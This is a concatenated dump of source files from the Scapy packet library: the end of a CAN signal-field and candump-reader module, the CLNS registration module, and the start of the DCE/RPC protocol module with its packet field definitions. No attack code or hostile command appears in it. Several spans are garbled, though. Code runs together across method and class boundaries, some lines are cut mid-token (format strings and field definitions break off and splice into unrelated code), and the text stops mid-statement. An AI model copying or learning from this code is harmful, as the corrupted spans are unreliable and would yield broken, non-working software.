def _convert_to_unsigned(number, bit_length): # type: (int, int) -> int if number & (1 << (bit_length - 1)): mask = (2 ** bit_length) # type: int return mask + number return number @staticmethod def _convert_to_signed(number, bit_length): # type: (int, int) -> int mask = (2 ** bit_length) - 1 # type: int if number & (1 << (bit_length - 1)): return number | ~mask return number & mask def _is_little_endian(self): # type: () -> bool return self.fmt[0] == "<" def _is_signed_number(self): # type: () -> bool return self.fmt[-1].islower() def _is_float_number(self): # type: () -> bool return self.fmt[-1] == "f" def addfield(self, pkt, s, val): # type: (Packet, bytes, Optional[Union[int, float]]) -> bytes if not isinstance(pkt, SignalPacket): raise Scapy_Exception("Only use SignalFields in a SignalPacket") val = self.i2m(pkt, val) if self._is_little_endian(): msb_pos = self.start + self.size - 1 lsb_pos = self.start shift = lsb_pos fmt = " Tuple[bytes, Union[int, float]] if not isinstance(pkt, SignalPacket): raise Scapy_Exception("Only use SignalFields in a SignalPacket") if isinstance(s, tuple): s, _ = s if self._is_little_endian(): msb_pos = self.start + self.size - 1 lsb_pos = self.start shift = self.start fmt = "> shift fld_val &= ((1 << self.size) - 1) if self._is_float_number(): fld_val = struct.unpack(self.fmt, struct.pack(self.fmt[0] + "I", fld_val))[0] elif self._is_signed_number(): fld_val = self._convert_to_signed(fld_val, self.size) return s, self.m2i(pkt, fld_val) def randval(self): # type: () -> Union[RandBinFloat, RandFloat] if self._is_float_number(): return RandBinFloat(0, 0) if self._is_signed_number(): min_val = -2**(self.size - 1) max_val = 2**(self.size - 1) - 1 else: min_val = 0 max_val = 2 ** self.size - 1 min_val = round(min_val * self.scaling + self.offset, self.ndigits) max_val = round(max_val * self.scaling + self.offset, self.ndigits) return RandFloat(min(min_val, max_val), max(min_val, max_val)) def i2len(self, pkt, x): # type: (Packet, Any) -> int return int(float(self.size) / 8) class LEUnsignedSignalField(SignalField): def __init__(self, name, default, start, size, scaling=1, unit="", offset=0, ndigits=3): # type: (str, Union[int, float], int, int, Union[int, float], str, Union[int, float], int) -> None # noqa: E501 SignalField.__init__(self, name, default, start, size, scaling, unit, offset, ndigits, " None # noqa: E501 SignalField.__init__(self, name, default, start, size, scaling, unit, offset, ndigits, " None # noqa: E501 SignalField.__init__(self, name, default, start, size, scaling, unit, offset, ndigits, ">B") class BESignedSignalField(SignalField): def __init__(self, name, default, start, size, scaling=1, unit="", offset=0, ndigits=3): # type: (str, Union[int, float], int, int, Union[int, float], str, Union[int, float], int) -> None # noqa: E501 SignalField.__init__(self, name, default, start, size, scaling, unit, offset, ndigits, ">b") class LEFloatSignalField(SignalField): def __init__(self, name, default, start, scaling=1, unit="", offset=0, ndigits=3): # type: (str, Union[int, float], int, Union[int, float], str, Union[int, float], int) -> None # noqa: E501 SignalField.__init__(self, name, default, start, 32, scaling, unit, offset, ndigits, " None # noqa: E501 SignalField.__init__(self, name, default, start, 32, scaling, unit, offset, ndigits, ">f") class SignalPacket(Packet): """Special implementation of Packet. This class enforces the correct wirelen of a CAN message for signal transmitting in automotive applications. Furthermore, the dissection order of SignalFields in fields_desc is deduced by the start index of a field. """ def pre_dissect(self, s): # type: (bytes) -> bytes if not all(isinstance(f, SignalField) or (isinstance(f, ConditionalField) and isinstance(f.fld, SignalField)) for f in self.fields_desc): raise Scapy_Exception("Use only SignalFields in a SignalPacket") return s def post_dissect(self, s): # type: (bytes) -> bytes """SignalFields can be dissected on packets with unordered fields. The order of SignalFields is defined from the start parameter. After a build, the consumed bytes of the length of all SignalFields have to be removed from the SignalPacket. """ if self.wirelen is not None and self.wirelen > 8: raise Scapy_Exception("Only 64 bits for all SignalFields " "are supported") self.raw_packet_cache = None # Reset packet to allow post_build return s[self.wirelen:] class SignalHeader(CAN): """Special implementation of a CAN Packet to allow dynamic binding. This class can be provided to CANSockets as basecls. Example: >>> class floatSignals(SignalPacket): >>> fields_desc = [ >>> LEFloatSignalField("floatSignal2", default=0, start=32), >>> BEFloatSignalField("floatSignal1", default=0, start=7)] >>> >>> bind_layers(SignalHeader, floatSignals, identifier=0x321) >>> >>> dbc_sock = CANSocket("can0", basecls=SignalHeader) All CAN messages received from this dbc_sock CANSocket will be interpreted as SignalHeader. Through Scapys ``bind_layers`` mechanism, all CAN messages with CAN identifier 0x321 will interpret the payload bytes of these CAN messages as floatSignals packet. """ fields_desc = [ FlagsField('flags', 0, 3, ['error', 'remote_transmission_request', 'extended']), XBitField('identifier', 0, 29), LenField('length', None, fmt='B'), FlagsField('fd_flags', 0, 8, ['bit_rate_switch', 'error_state_indicator', 'fd_frame']), ShortField('reserved', 0) ] @classmethod def dispatch_hook(cls, _pkt=None, # type: Optional[bytes] *args, # type: Any **kargs # type: Any ): # type: (...) -> Type[Packet] return SignalHeader def extract_padding(self, s): # type: (bytes) -> Tuple[bytes, Optional[bytes]] return s, None def rdcandump(filename, count=-1, interface=None): # type: (str, int, Optional[str]) -> PacketList """ Read a candump log file and return a packet list. :param filename: Filename of the file to read from. Also gzip files are accepted. :param count: Read only packets. Specify -1 to read all packets. :param interface: Return only packets from a specified interface :return: A PacketList object containing the read files """ with CandumpReader(filename, interface) as fdesc: return fdesc.read_all(count=count) class CandumpReader: """A stateful candump reader. Each packet is returned as a CAN packet. Creates a CandumpReader object :param filename: filename of a candump logfile, compressed or uncompressed, or a already opened file object. :param interface: Name of a interface, if candump contains messages of multiple interfaces and only one messages from a specific interface are wanted. """ nonblocking_socket = True def __init__(self, filename, interface=None): # type: (str, Optional[Union[List[str], str]]) -> None self.filename, self.f = self.open(filename) self.ifilter = None # type: Optional[List[str]] if interface is not None: if isinstance(interface, str): self.ifilter = [interface] else: self.ifilter = interface def __iter__(self): # type: () -> CandumpReader return self @staticmethod def open(filename): # type: (Union[IO[bytes], str]) -> Tuple[str, _ByteStream] """Open function to handle three types of input data. If filename of a regular candump log file is provided, this function opens the file and returns the file object. If filename of a gzip compressed candump log file is provided, the required gzip open function is used to obtain the necessary file object, which gets returned. If a fileobject or ByteIO is provided, the filename is gathered for internal use. No further steps are performed on this object. :param filename: Can be a string, specifying a candump log file or a gzip compressed candump log file. Also already opened file objects are allowed. :return: A opened file object for further use. """ """Open (if necessary) filename.""" if isinstance(filename, str): try: fdesc = gzip.open(filename, "rb") # type: _ByteStream # try read to cause exception fdesc.read(1) fdesc.seek(0) except IOError: fdesc = open(filename, "rb") return filename, fdesc else: name = getattr(filename, "name", "No name") return name, filename def next(self): # type: () -> Packet """Implements the iterator protocol on a set of packets :return: Next readable CAN Packet from the specified file """ try: pkt = None while pkt is None: pkt = self.read_packet() except EOFError: raise StopIteration return pkt __next__ = next def read_packet(self, size=CAN_MTU): # type: (int) -> Optional[Packet] """Read a packet from the specified file. This function will raise EOFError when no more packets are available. :param size: Not used. Just here to follow the function signature for SuperSocket emulation. :return: A single packet read from the file or None if filters apply """ line = self.f.readline() line = line.lstrip() if len(line) < 16: raise EOFError is_log_file_format = line[0] == ord(b"(") fd_flags = None if is_log_file_format: t_b, intf, f = line.split() if b'##' in f: idn, data = f.split(b'##') fd_flags = data[0] data = data[1:] else: idn, data = f.split(b'#') le = None t = float(t_b[1:-1]) # type: Optional[float] else: h, data = line.split(b']') intf, idn, le = h.split() t = None if self.ifilter is not None and \ intf.decode('ASCII') not in self.ifilter: return None data = data.replace(b' ', b'') data = data.strip() if len(data) <= 8 and fd_flags is None: pkt = CAN(identifier=int(idn, 16), data=hex_bytes(data)) else: pkt = CANFD(identifier=int(idn, 16), fd_flags=fd_flags, data=hex_bytes(data)) if le is not None: pkt.length = int(le[1:]) else: pkt.length = len(pkt.data) if len(idn) > 3: pkt.flags = 0b100 if t is not None: pkt.time = t return pkt def dispatch(self, callback): # type: (Callable[[Packet], None]) -> None """Call the specified callback routine for each packet read This is just a convenience function for the main loop that allows for easy launching of packet processing in a thread. """ for p in self: callback(p) def read_all(self, count=-1): # type: (int) -> PacketList """Read a specific number or all packets from a candump file. :param count: Specify a specific number of packets to be read. All packets can be read by count=-1. :return: A PacketList object containing read CAN messages """ res = [] while count != 0: try: p = self.read_packet() if p is None: continue except EOFError: break count -= 1 res.append(p) return PacketList(res, name=os.path.basename(self.filename)) def recv(self, size=CAN_MTU): # type: (int) -> Optional[Packet] """Emulation of SuperSocket""" try: return self.read_packet(size=size) except EOFError: return None def fileno(self): # type: () -> int """Emulation of SuperSocket""" return self.f.fileno() @property def closed(self): # type: () -> bool return self.f.closed def close(self): # type: () -> Any """Emulation of SuperSocket""" return self.f.close() def __enter__(self): # type: () -> CandumpReader return self def __exit__(self, exc_type, exc_value, tracback): # type: (Optional[Type[BaseException]], Optional[BaseException], Optional[Any]) -> None # noqa: E501 self.close() @staticmethod def select(sockets, remain=None): # type: (List[SuperSocket], Optional[int]) -> List[SuperSocket] """Emulation of SuperSocket""" return [s for s in sockets if isinstance(s, CandumpReader) and not s.closed] ================================================ FILE: scapy/layers/clns.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2014, 2015 BENOCS GmbH, Berlin (Germany) """ CLNS Extension ~~~~~~~~~~~~~~~~~~~~~ :copyright: 2014, 2015 BENOCS GmbH, Berlin (Germany) :author: Marcel Patzlaff, mpatzlaff@benocs.com :description: This module provides a registration function and a generic PDU for OSI Connectionless-mode Network Services (such as IS-IS). """ from scapy.config import conf from scapy.fields import ByteEnumField, PacketField from scapy.layers.l2 import LLC from scapy.packet import Packet, bind_top_down, bind_bottom_up from scapy.compat import orb network_layer_protocol_ids = { 0x00: "Null", 0x08: "Q.933", 0x80: "IEEE SNAP", 0x81: "ISO 8438 CLNP", 0x82: "ISO 9542 ES-IS", 0x83: "ISO 10589 IS-IS", 0x8E: "IPv6", 0xB0: "FRF.9", 0xB1: "FRF.12", 0xC0: "TRILL", 0xC1: "IEEE 802.aq", 0xCC: "IPv4", 0xCF: "PPP" } _cln_protocols = {} class _GenericClnsPdu(Packet): name = "Generic CLNS PDU" fields_desc = [ ByteEnumField("nlpid", 0x00, network_layer_protocol_ids), PacketField("rawdata", None, conf.raw_layer) ] def _create_cln_pdu(s, **kwargs): pdu_cls = conf.raw_layer if len(s) >= 1: nlpid = orb(s[0]) pdu_cls = _cln_protocols.get(nlpid, _GenericClnsPdu) return pdu_cls(s, **kwargs) @conf.commands.register def register_cln_protocol(nlpid, cln_protocol_class): if nlpid is None or cln_protocol_class is None: return chk = _cln_protocols.get(nlpid, None) if chk is not None and chk != cln_protocol_class: raise ValueError("different protocol already registered!") _cln_protocols[nlpid] = cln_protocol_class bind_top_down(LLC, cln_protocol_class, dsap=0xfe, ssap=0xfe, ctrl=3) bind_top_down(LLC, _GenericClnsPdu, dsap=0xfe, ssap=0xfe, ctrl=3) bind_bottom_up(LLC, _create_cln_pdu, dsap=0xfe, ssap=0xfe, ctrl=3) ================================================ FILE: scapy/layers/dcerpc.py ================================================ # SPDX-License-Identifier: GPL-2.0-or-later # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) Gabriel Potter # scapy.contrib.description = DCE/RPC # scapy.contrib.status = loads """ DCE/RPC Distributed Computing Environment / Remote Procedure Calls Based on [C706] - aka DCE/RPC 1.1 https://pubs.opengroup.org/onlinepubs/9629399/toc.pdf And on [MS-RPCE] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/290c38b1-92fe-4229-91e6-4fc376610c15 .. note:: Please read the documentation over `DCE/RPC `_ """ import collections import importlib import inspect import struct from enum import IntEnum from functools import partial from uuid import UUID from scapy.base_classes import Packet_metaclass from scapy.config import conf from scapy.compat import bytes_encode, plain_str from scapy.error import log_runtime from scapy.layers.dns import DNSStrField from scapy.layers.ntlm import ( NTLM_Header, NTLMSSP_MESSAGE_SIGNATURE, ) from scapy.packet import ( Packet, Raw, bind_bottom_up, bind_layers, bind_top_down, NoPayload, ) from scapy.fields import ( _FieldContainer, BitEnumField, BitField, ByteEnumField, ByteField, ConditionalField, EnumField, Field, FieldLenField, FieldListField, FlagsField, IntField, LEIntEnumField, LEIntField, LELongField, LEShortEnumField, LEShortField, LenField, MultipleTypeField, PacketField, PacketLenField, PacketListField, PadField, ReversePadField, ShortEnumField, ShortField, SignedByteField, StrField, StrFixedLenField, StrLenField, StrLenFieldUtf16, StrNullField, StrNullFieldUtf16, TrailerField, UUIDEnumField, UUIDField, XByteField, XLEIntField, XLELongField, XLEShortField, XShortField, XStrFixedLenField, ) from scapy.sessions import DefaultSession from scapy.supersocket import StreamSocket from scapy.layers.kerberos import ( KRB_InnerToken, Kerberos, ) from scapy.layers.gssapi import ( GSSAPI_BLOB, GSSAPI_BLOB_SIGNATURE, GSS_S_COMPLETE, GSS_S_FLAGS, GSS_C_FLAGS, SSP, ) from scapy.layers.inet import TCP from scapy.contrib.rtps.common_types import ( EField, EPacket, EPacketField, EPacketListField, ) # Typing imports from typing import ( Optional, Union, ) # the alignment of auth_pad # This is 4 in [C706] 13.2.6.1 but was updated to 16 in [MS-RPCE] 2.2.2.11 _COMMON_AUTH_PAD = 16 # the alignment of the NDR Type 1 serialization private header # ([MS-RPCE] sect 2.2.6.2) _TYPE1_S_PAD = 8 # DCE/RPC Packet DCE_RPC_TYPE = { 0: "request", 1: "ping", 2: "response", 3: "fault", 4: "working", 5: "no_call", 6: "reject", 7: "acknowledge", 8: "connectionless_cancel", 9: "frag_ack", 10: "cancel_ack", 11: "bind", 12: "bind_ack", 13: "bind_nak", 14: "alter_context", 15: "alter_context_resp", 16: "auth3", 17: "shutdown", 18: "co_cancel", 19: "orphaned", } _DCE_RPC_4_FLAGS1 = [ "reserved_01", "last_frag", "frag", "no_frag_ack", "maybe", "idempotent", "broadcast", "reserved_7", ] _DCE_RPC_4_FLAGS2 = [ "reserved_0", "cancel_pending", "reserved_2", "reserved_3", "reserved_4", "reserved_5", "reserved_6", "reserved_7", ] DCE_RPC_TRANSFER_SYNTAXES = { UUID("00000000-0000-0000-0000-000000000000"): "NULL", UUID("6cb71c2c-9812-4540-0300-000000000000"): "Bind Time Feature Negotiation", UUID("8a885d04-1ceb-11c9-9fe8-08002b104860"): "NDR 2.0", UUID("71710533-beba-4937-8319-b5dbef9ccc36"): "NDR64", } DCE_RPC_INTERFACES_NAMES = {} DCE_RPC_INTERFACES_NAMES_rev = {} COM_INTERFACES_NAMES = {} COM_INTERFACES_NAMES_rev = {} class DCERPC_Transport(IntEnum): """ Protocols identifiers currently supported by Scapy """ NCACN_IP_TCP = 0x07 NCACN_NP = 0x0F # TODO: add more.. if people use them? # [C706] Appendix I with names from Appendix B DCE_RPC_PROTOCOL_IDENTIFIERS = { 0x0: "OSI OID", # Special 0x0D: "UUID", # Special # Transports # 0x2: "DNA Session Control", # 0x3: "DNA Session Control V3", # 0x4: "DNA NSP Transport", # 0x5: "OSI TP4", 0x06: "NCADG_OSI_CLSN", # [C706] 0x07: "NCACN_IP_TCP", # [C706] 0x08: "NCADG_IP_UDP", # [C706] 0x09: "IP", # [C706] 0x0A: "RPC connectionless protocol", # [C706] 0x0B: "RPC connection-oriented protocol", # [C706] 0x0C: "NCALRPC", 0x0F: "NCACN_NP", # [MS-RPCE] 0x11: "NCACN_NB", # [C706] 0x12: "NCACN_NB_NB", # [MS-RPCE] 0x13: "NCACN_SPX", # [C706] 0x14: "NCADG_IPX", # [C706] 0x16: "NCACN_AT_DSP", # [C706] 0x17: "NCADG_AT_DSP", # [C706] 0x19: "NCADG_NB", # [C706] 0x1A: "NCACN_VNS_SPP", # [C706] 0x1B: "NCADG_VNS_IPC", # [C706] 0x1F: "NCACN_HTTP", # [MS-RPCE] } def _dce_rpc_endianness(pkt): """ Determine the right endianness sign for a given DCE/RPC packet """ if pkt.endian == 0: # big endian return ">" elif pkt.endian == 1: # little endian return "<" else: return "!" class _EField(EField): def __init__(self, fld): super(_EField, self).__init__(fld, endianness_from=_dce_rpc_endianness) class DceRpc(Packet): """DCE/RPC packet""" @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 1: ver = ord(_pkt[0:1]) if ver == 4: return DceRpc4 elif ver == 5: return DceRpc5 return DceRpc5 @classmethod def tcp_reassemble(cls, data, metadata, session): if data[0:1] == b"\x05": return DceRpc5.tcp_reassemble(data, metadata, session) return DceRpc(data) bind_bottom_up(TCP, DceRpc, sport=135) bind_layers(TCP, DceRpc, dport=135) class _DceRpcPayload(Packet): @property def endianness(self): if not self.underlayer: return "!" return _dce_rpc_endianness(self.underlayer) # sect 12.5 _drep = [ BitEnumField("endian", 1, 4, ["big", "little"]), BitEnumField("encoding", 0, 4, ["ASCII", "EBCDIC"]), ByteEnumField("float", 0, ["IEEE", "VAX", "CRAY", "IBM"]), ByteField("reserved1", 0), ] class DceRpc4(DceRpc): """ DCE/RPC v4 'connection-less' packet """ name = "DCE/RPC v4" fields_desc = ( [ ByteEnumField( "rpc_vers", 4, {4: "4 (connection-less)", 5: "5 (connection-oriented)"} ), ByteEnumField("ptype", 0, DCE_RPC_TYPE), FlagsField("flags1", 0, 8, _DCE_RPC_4_FLAGS1), FlagsField("flags2", 0, 8, _DCE_RPC_4_FLAGS2), ] + _drep + [ XByteField("serial_hi", 0), _EField(UUIDField("object", None)), _EField(UUIDField("if_id", None)), _EField(UUIDField("act_id", None)), _EField(IntField("server_boot", 0)), _EField(IntField("if_vers", 1)), _EField(IntField("seqnum", 0)), _EField(ShortField("opnum", 0)), _EField(XShortField("ihint", 0xFFFF)), _EField(XShortField("ahint", 0xFFFF)), _EField(LenField("len", None, fmt="H")), _EField(ShortField("fragnum", 0)), ByteEnumField("auth_proto", 0, ["none", "OSF DCE Private Key"]), XByteField("serial_lo", 0), ] ) # Exceptionally, we define those 3 here. class NL_AUTH_MESSAGE(Packet): # [MS-NRPC] sect 2.2.1.3.1 name = "NL_AUTH_MESSAGE" fields_desc = [ LEIntEnumField( "MessageType", 0x00000000, { 0x00000000: "Request", 0x00000001: "Response", }, ), FlagsField( "Flags", 0, -32, [ "NETBIOS_DOMAIN_NAME", "NETBIOS_COMPUTER_NAME", "DNS_DOMAIN_NAME", "DNS_HOST_NAME", "NETBIOS_COMPUTER_NAME_UTF8", ], ), ConditionalField( StrNullField("NetbiosDomainName", ""), lambda pkt: pkt.Flags.NETBIOS_DOMAIN_NAME, ), ConditionalField( StrNullField("NetbiosComputerName", ""), lambda pkt: pkt.Flags.NETBIOS_COMPUTER_NAME, ), ConditionalField( DNSStrField("DnsDomainName", ""), lambda pkt: pkt.Flags.DNS_DOMAIN_NAME, ), ConditionalField( DNSStrField("DnsHostName", ""), lambda pkt: pkt.Flags.DNS_HOST_NAME, ), ConditionalField( # What the fuck? Why are they doing this # The spec is just wrong DNSStrField("NetbiosComputerNameUtf8", ""), lambda pkt: pkt.Flags.NETBIOS_COMPUTER_NAME_UTF8, ), ] class NL_AUTH_SIGNATURE(Packet): # [MS-NRPC] sect 2.2.1.3.2/2.2.1.3.3 name = "NL_AUTH_(SHA2_)SIGNATURE" fields_desc = [ LEShortEnumField( "SignatureAlgorithm", 0x0077, { 0x0077: "HMAC-MD5", 0x0013: "HMAC-SHA256", }, ), LEShortEnumField( "SealAlgorithm", 0xFFFF, { 0xFFFF: "Unencrypted", 0x007A: "RC4", 0x001A: "AES-128", }, ), XLEShortField("Pad", 0xFFFF), ShortField("Flags", 0), XStrFixedLenField("SequenceNumber", b"", length=8), XStrFixedLenField("Checksum", b"", length=8), ConditionalField( XStrFixedLenField("Confounder", b"", length=8), lambda pkt: pkt.SealAlgorithm != 0xFFFF, ), MultipleTypeField( [ ( StrFixedLenField("Reserved2", b"", length=24), lambda pkt: pkt.SignatureAlgorithm == 0x0013, ), ], StrField("Reserved2", b""), ), ] # [MS-RPCE] sect 2.2.1.1.7 # https://learn.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants # rpcdce.h class RPC_C_AUTHN(IntEnum): NONE = 0x00 DCE_PRIVATE = 0x01 DCE_PUBLIC = 0x02 DEC_PUBLIC = 0x04 GSS_NEGOTIATE = 0x09 WINNT = 0x0A GSS_SCHANNEL = 0x0E GSS_KERBEROS = 0x10 DPA = 0x11 MSN = 0x12 KERNEL = 0x14 DIGEST = 0x15 NEGO_EXTENDED = 0x1E PKU2U = 0x1F LIVE_SSP = 0x20 LIVEXP_SSP = 0x23 CLOUD_AP = 0x24 NETLOGON = 0x44 MSONLINE = 0x52 MQ = 0x64 DEFAULT = 0xFFFFFFFF class RPC_C_AUTHN_LEVEL(IntEnum): DEFAULT = 0x0 NONE = 0x1 CONNECT = 0x2 CALL = 0x3 PKT = 0x4 PKT_INTEGRITY = 0x5 PKT_PRIVACY = 0x6 DCE_C_AUTHN_LEVEL = RPC_C_AUTHN_LEVEL # C706 name class RPC_C_IMP_LEVEL(IntEnum): DEFAULT = 0x0 ANONYMOUS = 0x1 IDENTIFY = 0x2 IMPERSONATE = 0x3 DELEGATE = 0x4 # C706 sect 13.2.6.1 class CommonAuthVerifier(Packet): name = "Common Authentication Verifier" fields_desc = [ ByteEnumField( "auth_type", 0, RPC_C_AUTHN, ), ByteEnumField("auth_level", 0, RPC_C_AUTHN_LEVEL), ByteField("auth_pad_length", None), ByteField("auth_reserved", 0), XLEIntField("auth_context_id", 0), MultipleTypeField( [ # SPNEGO ( PacketLenField( "auth_value", GSSAPI_BLOB(), GSSAPI_BLOB, length_from=lambda pkt: pkt.parent.auth_len, ), lambda pkt: pkt.auth_type == 0x09 and pkt.parent and # Bind/Alter pkt.parent.ptype in [11, 12, 13, 14, 15, 16], ), ( PacketLenField( "auth_value", GSSAPI_BLOB_SIGNATURE(), GSSAPI_BLOB_SIGNATURE, length_from=lambda pkt: pkt.parent.auth_len, ), lambda pkt: pkt.auth_type == 0x09 and pkt.parent and ( # Other not pkt.parent or pkt.parent.ptype not in [11, 12, 13, 14, 15, 16] ), ), # Kerberos ( PacketLenField( "auth_value", Kerberos(), Kerberos, length_from=lambda pkt: pkt.parent.auth_len, ), lambda pkt: pkt.auth_type == 0x10 and pkt.parent and # Bind/Alter pkt.parent.ptype in [11, 12, 13, 14, 15, 16], ), ( PacketLenField( "auth_value", KRB_InnerToken(), KRB_InnerToken, length_from=lambda pkt: pkt.parent.auth_len, ), lambda pkt: pkt.auth_type == 0x10 and pkt.parent and ( # Other not pkt.parent or pkt.parent.ptype not in [11, 12, 13, 14, 15, 16] ), ), # NTLM ( PacketLenField( "auth_value", NTLM_Header(), NTLM_Header, length_from=lambda pkt: pkt.parent.auth_len, ), lambda pkt: pkt.auth_type in [0x0A, 0xFF] and pkt.parent and # Bind/Alter pkt.parent.ptype in [11, 12, 13, 14, 15, 16], ), ( PacketLenField( "auth_value", NTLMSSP_MESSAGE_SIGNATURE(), NTLMSSP_MESSAGE_SIGNATURE, length_from=lambda pkt: pkt.parent.auth_len, ), lambda pkt: pkt.auth_type in [0x0A, 0xFF] and pkt.parent and ( # Other not pkt.parent or pkt.parent.ptype not in [11, 12, 13, 14, 15, 16] ), ), # NetLogon ( PacketLenField( "auth_value", NL_AUTH_MESSAGE(), NL_AUTH_MESSAGE, length_from=lambda pkt: pkt.parent.auth_len, ), lambda pkt: pkt.auth_type == 0x44 and pkt.parent and # Bind/Alter pkt.parent.ptype in [11, 12, 13, 14, 15], ), ( PacketLenField( "auth_value", NL_AUTH_SIGNATURE(), NL_AUTH_SIGNATURE, length_from=lambda pkt: pkt.parent.auth_len, ), lambda pkt: pkt.auth_type == 0x44 and ( # Other not pkt.parent or pkt.parent.ptype not in [11, 12, 13, 14, 15] ), ), ], PacketLenField( "auth_value", None, conf.raw_layer, length_from=lambda pkt: pkt.parent and pkt.parent.auth_len or 0, ), ), ] def is_protected(self): if not self.auth_value: return False if self.parent and self.parent.ptype in [11, 12, 13, 14, 15, 16]: return False return True def is_ssp(self): if not self.auth_value: return False if self.parent and self.parent.ptype not in [11, 12, 13, 14, 15, 16]: return False return True def default_payload_class(self, pkt): return conf.padding_layer # [MS-RPCE] sect 2.2.2.13 - Verification Trailer _SECTRAILER_MAGIC = b"\x8a\xe3\x13\x71\x02\xf4\x36\x71" class DceRpcSecVTCommand(Packet): name = "Verification trailer command" fields_desc = [ BitField("SEC_VT_MUST_PROCESS_COMMAND", 0, 1, tot_size=-2), BitField("SEC_VT_COMMAND_END", 0, 1), BitEnumField( "Command", 0, -14, { 0x0001: "SEC_VT_COMMAND_BITMASK_1", 0x0002: "SEC_VT_COMMAND_PCONTEXT", 0x0003: "SEC_VT_COMMAND_HEADER2", }, end_tot_size=-2, ), LenField("Length", None, fmt="> 4 if endian not in [0, 1]: return length = struct.unpack(("<" if endian else ">") + "H", data[8:10])[0] if len(data) >= length: if conf.dcerpc_session_enable: # If DCE/RPC sessions are enabled, use them ! if "dcerpcsess" not in session: session["dcerpcsess"] = dcerpcsess = DceRpcSession() else: dcerpcsess = session["dcerpcsess"] return dcerpcsess.process(DceRpc5(data)) return DceRpc5(data) # sec 12.6.3.1 class DceRpc5AbstractSyntax(EPacket): name = "Presentation Syntax (p_syntax_id_t)" fields_desc = [ _EField( UUIDEnumField( "if_uuid", None, ( # Those are dynamic DCE_RPC_INTERFACES_NAMES.get, lambda x: DCE_RPC_INTERFACES_NAMES_rev.get(x.lower()), ), ) ), _EField(IntField("if_version", 3)), ] class DceRpc5TransferSyntax(EPacket): name = "Presentation Transfer Syntax (p_syntax_id_t)" fields_desc = [ _EField( UUIDEnumField( "if_uuid", None, DCE_RPC_TRANSFER_SYNTAXES, ) ), _EField(IntField("if_version", 3)), ] class DceRpc5Context(EPacket): name = "Presentation Context (p_cont_elem_t)" fields_desc = [ _EField(ShortField("cont_id", 0)), FieldLenField("n_transfer_syn", None, count_of="transfer_syntaxes", fmt="B"), ByteField("reserved", 0), EPacketField("abstract_syntax", None, DceRpc5AbstractSyntax), EPacketListField( "transfer_syntaxes", None, DceRpc5TransferSyntax, count_from=lambda pkt: pkt.n_transfer_syn, endianness_from=_dce_rpc_endianness, ), ] class DceRpc5Result(EPacket): name = "Context negotiation Result" fields_desc = [ _EField( ShortEnumField( "result", 0, ["acceptance", "user_rejection", "provider_rejection"] ) ), _EField( ShortEnumField( "reason", 0, _DCE_RPC_REJECTION_REASONS, ) ), EPacketField("transfer_syntax", None, DceRpc5TransferSyntax), ] class DceRpc5PortAny(EPacket): name = "Port Any (port_any_t)" fields_desc = [ _EField(FieldLenField("length", None, length_of="port_spec", fmt="H")), _EField(StrLenField("port_spec", b"", length_from=lambda pkt: pkt.length)), ] # sec 12.6.4.3 class DceRpc5Bind(_DceRpcPayload): name = "DCE/RPC v5 - Bind" fields_desc = [ _EField(ShortField("max_xmit_frag", 5840)), _EField(ShortField("max_recv_frag", 8192)), _EField(IntField("assoc_group_id", 0)), # p_cont_list_t _EField( FieldLenField("n_context_elem", None, count_of="context_elem", fmt="B") ), StrFixedLenField("reserved", 0, length=3), EPacketListField( "context_elem", [], DceRpc5Context, endianness_from=_dce_rpc_endianness, count_from=lambda pkt: pkt.n_context_elem, ), ] bind_layers(DceRpc5, DceRpc5Bind, ptype=11) # sec 12.6.4.4 class DceRpc5BindAck(_DceRpcPayload): name = "DCE/RPC v5 - Bind Ack" fields_desc = [ _EField(ShortField("max_xmit_frag", 5840)), _EField(ShortField("max_recv_frag", 8192)), _EField(IntField("assoc_group_id", 0)), PadField( EPacketField("sec_addr", None, DceRpc5PortAny), align=4, ), # p_result_list_t _EField(FieldLenField("n_results", None, count_of="results", fmt="B")), StrFixedLenField("reserved", 0, length=3), EPacketListField( "results", [], DceRpc5Result, endianness_from=_dce_rpc_endianness, count_from=lambda pkt: pkt.n_results, ), ] bind_layers(DceRpc5, DceRpc5BindAck, ptype=12) # sec 12.6.4.5 class DceRpc5Version(EPacket): name = "version_t" fields_desc = [ ByteField("major", 0), ByteField("minor", 0), ] class DceRpc5BindNak(_DceRpcPayload): name = "DCE/RPC v5 - Bind Nak" fields_desc = [ _EField( ShortEnumField("provider_reject_reason", 0, _DCE_RPC_REJECTION_REASONS) ), # p_rt_versions_supported_t _EField(FieldLenField("n_protocols", None, count_of="protocols", fmt="B")), EPacketListField( "protocols", [], DceRpc5Version, count_from=lambda pkt: pkt.n_protocols, endianness_from=_dce_rpc_endianness, ), # [MS-RPCE] sect 2.2.2.9 ConditionalField( ReversePadField( _EField( UUIDEnumField( "signature", None, { UUID( "90740320-fad0-11d3-82d7-009027b130ab" ): "Extended Error", }, ) ), align=8, ), lambda pkt: pkt.fields.get("signature", None) or ( pkt.underlayer and pkt.underlayer.frag_len >= 24 + pkt.n_protocols * 2 + 16 ), ), ] bind_layers(DceRpc5, DceRpc5BindNak, ptype=13) # sec 12.6.4.1 class DceRpc5AlterContext(_DceRpcPayload): name = "DCE/RPC v5 - AlterContext" fields_desc = DceRpc5Bind.fields_desc bind_layers(DceRpc5, DceRpc5AlterContext, ptype=14) # sec 12.6.4.2 class DceRpc5AlterContextResp(_DceRpcPayload): name = "DCE/RPC v5 - AlterContextResp" fields_desc = DceRpc5BindAck.fields_desc bind_layers(DceRpc5, DceRpc5AlterContextResp, ptype=15) # [MS-RPCE] sect 2.2.2.10 - rpc_auth_3 class DceRpc5Auth3(Packet): name = "DCE/RPC v5 - Auth3" fields_desc = [StrFixedLenField("pad", b"", length=4)] bind_layers(DceRpc5, DceRpc5Auth3, ptype=16) # sec 12.6.4.7 class DceRpc5Fault(_DceRpcPayload): name = "DCE/RPC v5 - Fault" fields_desc = [ _EField(IntField("alloc_hint", 0)), _EField(ShortField("cont_id", 0)), ByteField("cancel_count", 0), FlagsField("reserved", 0, -8, {0x1: "RPC extended error"}), _EField(LEIntEnumField("status", 0, _DCE_RPC_ERROR_CODES)), IntField("reserved2", 0), ] bind_layers(DceRpc5, DceRpc5Fault, ptype=3) # sec 12.6.4.9 class DceRpc5Request(_DceRpcPayload): name = 